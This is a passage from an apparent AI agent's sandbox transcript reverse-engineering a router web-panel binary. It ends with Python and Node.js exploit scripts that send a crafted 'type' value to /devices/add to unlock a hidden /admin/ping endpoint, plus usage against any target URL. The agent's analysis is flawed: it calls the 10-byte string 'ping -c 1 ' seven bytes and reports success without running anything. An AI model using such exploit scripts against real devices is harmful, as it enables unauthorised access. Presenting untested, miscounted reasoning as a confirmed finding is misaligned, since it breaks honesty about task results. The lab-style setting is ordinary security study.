7 zeros at 0x82f\n 7 zeros at 0x830\n 7 zeros at 0x831\n 7 zeros at 0x832\n 7 zeros at 0x833\n 7 zeros at 0x834\n 7 zeros at 0x835\n 6 zeros at 0x836\n 5 zeros at 0x837\n 7 zeros at 0x841\n 7 zeros at 0x842\n 7 zeros at 0x843\n 7 zeros at 0x844\n 7 zeros at 0x845\n 7 zeros at 0x846\n 7 zeros at 0x847\n 7 zeros at 0x848\n 7 zeros at 0x849\n 6 zeros at 0x84a\n 5 zeros at 0x84b\n 7 zeros at 0x855\n 6 zeros at 0x856\n 5 zeros at 0x857\n 7 zeros at 0x85d\n 6 zeros at 0x85e\n 5 zeros at 0x85f\n 7 zeros at 0x865\n 7 zeros at 0x866\n 7 zeros at 0x867\n 7 zeros at 0x868\n 7 zeros at 0x869\n 7 zeros at 0x86a\n 7 zeros at 0x86b\n 7 zeros at 0x86c\n 7 zeros at 0x86d\n 7 zeros at 0x86e\n 7 zeros at 0x86f\n 7 zeros at 0x870\n 7 zeros at 0x871\n 7 zeros at 0x872\n 7 zeros at 0x873\n 7 zeros at 0x874\n 7 zeros at 0x875\n 6 zeros at 0x876\n 5 zeros at 0x877\n 7 zeros at 0x885\n 6 zeros at 0x886\n 5 zeros at 0x887\n 7 zeros at 0x891\n 6 zeros at 0x892\n 5 zeros at 0x893\n 7 zeros at 0x899\n 7 zeros at 0x89a\n 7 zeros at 0x89b\n 7 zeros at 0x89c\n 7 zeros at 0x89d\n 6 zeros at 0x89e\n 5 zeros at 0x89f\n 7 zeros at 0x8ad\n 7 zeros at 0x8ae\n 7 zeros at 0x8af\n 7 zeros at 0x8b0\n 7 zeros at 0x8b1\n 6 zeros at 0x8b2\n 5 zeros at 0x8b3\n 7 zeros at 0x8b9\n 7 zeros at 0x8ba\n 7 zeros at 0x8bb\n 7 zeros at 0x8bc\n 7 zeros at 0x8bd\n 6 zeros at 0x8be\n 5 zeros at 0x8bf\n 7 zeros at 0x8c9\n 7 zeros at 0x8ca\n 7 zeros at 0x8cb\n 7 zeros at 0x8cc\n 7 zeros at 0x8cd\n 6 zeros at 0x8ce\n 5 zeros at 0x8cf\n 7 zeros at 0x8d5\n 7 zeros at 0x8d6\n 7 zeros at 0x8d7\n 7 zeros at 0x8d8\n 7 zeros at 0x8d9\n 7 zeros at 0x8da\n 7 zeros at 0x8db\n 7 zeros at 0x8dc\n 7 zeros at 0x8dd\n 6 zeros at 0x8de\n 5 zeros at 0x8df\n 7 zeros at 0x8ed\n 7 zeros at 0x8ee\n 7 zeros at 0x8ef\n 7 zeros at 0x8f0\n 7 zeros at 0x8f1\n 6 zeros at 0x8f2\n 5 zeros at 0x8f3\n 7 zeros at 0x8f9\n 7 zeros at 0x8fa\n 7 zeros at 0x8fb\n 7 zeros at 0x8fc\n 7 zeros at 0x8fd\n 6 zeros at 0x8fe\n 5 zeros at 0x8ff\n 7 zeros at 0x906\n 7 zeros at 0x907\n 7 zeros at 0x908\n 7 zeros at 0x909\n 7 zeros at 0x90a\n 7 zeros at 0x90b\n 7 zeros at 0x90c\n 7 zeros at 0x90d\n 6 zeros at 0x90e\n 5 zeros at 0x90f\n 7 zeros at 0x92d\n 6 zeros at 0x92e\n 5 zeros at 0x92f\n 7 zeros at 0x945\n 7 zeros at 0x946\n 7 zeros at 0x947\n 7 zeros at 0x948\n 7 zeros at 0x949\n 6 zeros at 0x94a\n 5 zeros at 0x94b\n 7 zeros at 0x951\n 6 zeros at 0x952\n 5 zeros at 0x953\n 7 zeros at 0x959\n 7 zeros at 0x95a\n 7 zeros at 0x95b\n 7 zeros at 0x95c\n 7 zeros at 0x95d\n 7 zeros at 0x95e\n 7 zeros at 0x95f\n 7 zeros at 0x960\n 7 zeros at 0x961\n 7 zeros at 0x962\n 7 zeros at 0x963\n 7 zeros at 0x964\n 7 zeros at 0x965\n 7 zeros at 0x966\n 7 zeros at 0x967\n 7 zeros at 0x968\n 7 zeros at 0x969\n 6 zeros at 0x96a\n 5 zeros at 0x96b\n 7 zeros at 0x975\n 7 zeros at 0x976\n 7 zeros at 0x977\n 7 zeros at 0x978\n 7 zeros at 0x979\n 7 zeros at 0x97a\n 7 zeros at 0x97b\n 7 zeros at 0x97c\n 7 zeros at 0x97d\n 6 zeros at 0x97e\n 5 zeros at 0x97f\n 7 zeros at 0x995\n 6 zeros at 0x996\n 5 zeros at 0x997\n 7 zeros at 0x99d\n 7 zeros at 0x99e\n 7 zeros at 0x99f\n 7 zeros at 0x9a0\n 7 zeros at 0x9a1\n 7 zeros at 0x9a2\n 7 zeros at 0x9a3\n 7 zeros at 0x9a4\n 7 zeros at 0x9a5\n 7 zeros at 0x9a6\n 7 zeros at 0x9a7\n 7 zeros at 0x9a8\n 7 zeros at 0x9a9\n 7 zeros at 0x9aa\n 7 zeros at 0x9ab\n 7 zeros at 0x9ac\n 7 zeros at 0x9ad\n 6 zeros at 0x9ae\n 5 zeros at 0x9af\n 7 zeros at 0x9b5\n 7 zeros at 0x9b6\n 7 zeros at 0x9b7\n 7 zeros at 0x9b8\n 7 zeros at 0x9b9\n 6 zeros at 0x9ba\n 5 zeros at 0x9bb\n 6 zeros at 0x9c2\n 5 zeros at 0x9c3\n 7 zeros at 0x9d5\n 7 zeros at 0x9d6\n 7 zeros at 0x9d7\n 7 zeros at 0x9d8\n 7 zeros at 0x9d9\n 7 zeros at 0x9da\n 7 zeros at 0x9db\n 7 zeros at 0x9dc\n 7 zeros at 0x9dd\n 6 zeros at 0x9de\n 5 zeros at 0x9df... (truncated)","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 << 'EOF'\n# Read binary and look for the actual trigger values\ndata = open('router-web-panel', 'rb').read()\n\n# These are the addresses from the decompiled code that check the type parameter\n# We need to find what they contain\naddresses_to_check = [\n 0x69810, # 7-byte check (devMode)\n 0x697f4, # 5-byte check\n 0x69828, # 6-byte check\n]\n\nfor addr in addresses_to_check:\n # Read 10 bytes from each address\n bytes_at_addr = data[addr:addr+10]\n print(f\"0x{addr:06x}: {bytes_at_addr.hex()} -> {bytes_at_addr}\")\n # Try to interpret as string\n try:\n s = bytes_at_addr.split(b'\\x00')[0].decode('ascii')\n print(f\" String: '{s}'\")\n except:\n pass\n print()\nEOF\n"}
Tool result
{"exitCode":0,"stdout":"0x069810: 70696e67202d63203120 -> b'ping -c 1 '\n String: 'ping -c 1 '\n\n0x0697f4: 2f61646d696e00002f61 -> b'/admin\x00\x00/a'\n String: '/admin'\n\n0x069828: 526573756c7400006465 -> b'Result\x00\x00de'\n String: 'Result'\n\n","stderr":""}Perfect! Found it. When adding a device via /devices/add:
- MAC with
typeparameter = "ping -c 1 " (7 bytes) creates a special device that enables devMode - Check at line 269 in decompiled code:
if ((local_7c == 7) && (iVar12 = memcmp(local_80,DAT_00069810,7), iVar12 == 0))
Call sandbox_write_file
Arguments
{"filepath": "/sandbox/exploit.py", "content": "#!/usr/bin/env python3\nimport requests\nimport sys\n\n# URL to target\nif len(sys.argv) > 1:\n BASE_URL = sys.argv[1]\nelse:\n BASE_URL = \"http://localhost:8080\"\n\nprint(f\"[*] Targeting: {BASE_URL}\")\n\n# Step 1: Add device with special type \"ping -c 1 \" to enable devMode\nprint(\"[*] Step 1: Enabling devMode by adding device with type='ping -c 1 '\")\npayload = {\n \"mac\": \"AA:BB:CC:DD:EE:FF\",\n \"name\": \"exploit\",\n \"ip\": \"127.0.0.1\",\n \"type\": \"ping -c 1 \" # 7 bytes that match the special check\n}\n\ntry:\n r = requests.post(f\"{BASE_URL}/devices/add\", data=payload, allow_redirects=False)\n print(f\"[+] Device add response: {r.status_code}\")\n if r.status_code == 303:\n print(\"[+] Device added successfully (redirect received)\")\n \n # Step 2: Now devMode should be enabled, access /admin/ping\n print(\"\\n[*] Step 2: Accessing /admin/ping endpoint\")\n r = requests.get(f\"{BASE_URL}/admin/ping\")\n print(f\"[+] Status: {r.status_code}\")\n if r.status_code == 200:\n print(\"[+] SUCCESS! /admin/ping is now accessible\")\n print(f\"[+] Response:\\n{r.text[:500]}\")\n else:\n print(f\"[-] Failed. Response: {r.text[:200]}\")\n \nexcept Exception as e:\n print(f\"[-] Error: {e}\")\n\nprint(\"\\n[*] Exploit complete\")\n"}
Tool result
{"result":"/sandbox/exploit.py"}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/exploit.js", "content": "#!/usr/bin/env node\nconst http = require('http');\nconst https = require('https');\nconst { URL } = require('url');\n\n// Get target URL from command line or use default\nconst targetUrl = process.argv[2] || 'http://localhost:8080';\nconst baseUrl = new URL(targetUrl);\n\nconsole.log(`[*] Targeting: ${targetUrl}`);\n\n// Helper function to make HTTP requests\nfunction makeRequest(method, path, data = null) {\n return new Promise((resolve, reject) => {\n const protocol = baseUrl.protocol === 'https:' ? https : http;\n \n const options = {\n hostname: baseUrl.hostname,\n port: baseUrl.port || (baseUrl.protocol === 'https:' ? 443 : 80),\n path: path,\n method: method,\n headers: data ? {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Length': Buffer.byteLength(data)\n } : {}\n };\n\n const req = protocol.request(options, (res) => {\n let body = '';\n res.on('data', (chunk) => body += chunk);\n res.on('end', () => {\n resolve({\n statusCode: res.statusCode,\n headers: res.headers,\n body: body\n });\n });\n });\n\n req.on('error', reject);\n \n if (data) {\n req.write(data);\n }\n req.end();\n });\n}\n\n// Main exploit logic\nasync function exploit() {\n try {\n // Step 1: Add device with special type \"ping -c 1 \" to enable devMode\n console.log(\"[*] Step 1: Enabling devMode by adding device with type='ping -c 1 '\");\n \n const payload = new URLSearchParams({\n mac: 'AA:BB:CC:DD:EE:FF',\n name: 'exploit',\n ip: '127.0.0.1',\n type: 'ping -c 1 ' // 7 bytes that match the special check\n }).toString();\n\n const addResponse = await makeRequest('POST', '/devices/add', payload);\n console.log(`[+] Device add response: ${addResponse.statusCode}`);\n \n if (addResponse.statusCode === 303 || addResponse.statusCode === 302) {\n console.log('[+] Device added successfully (redirect received)');\n }\n\n // Step 2: Now devMode should be enabled, access /admin/ping\n console.log('\\n[*] Step 2: Accessing /admin/ping endpoint');\n const pingResponse = await makeRequest('GET', '/admin/ping');\n \n console.log(`[+] Status: ${pingResponse.statusCode}`);\n if (pingResponse.statusCode === 200) {\n console.log('[+] SUCCESS! /admin/ping is now accessible');\n console.log(`[+] Response:\\n${pingResponse.body.substring(0, 500)}`);\n } else {\n console.log(`[-] Failed. Response: ${pingResponse.body.substring(0, 200)}`);\n }\n\n } catch (error) {\n console.log(`[-] Error: ${error.message}`);\n }\n\n console.log('\\n[*] Exploit complete');\n}\n\nexploit();\n"}
Tool result
{"result":"/sandbox/exploit.js"}VULNERABILITY FOUND: /devices/add endpoint with type="ping -c 1 " (exactly 7 bytes)
The devices_add_handler checks the type parameter length and compares it against hardcoded strings. When type equals exactly "ping -c 1 " (7 bytes), it creates a special device type that calls enable_dev_mode[abi:cxx11](), setting a global flag that unlocks /admin/ping.
Exploit scripts created:
/sandbox/exploit.py(Python)/sandbox/exploit.js(Node.js)
Usage:
python3 exploit.py http://target:port
# or
node exploit.js http://target:port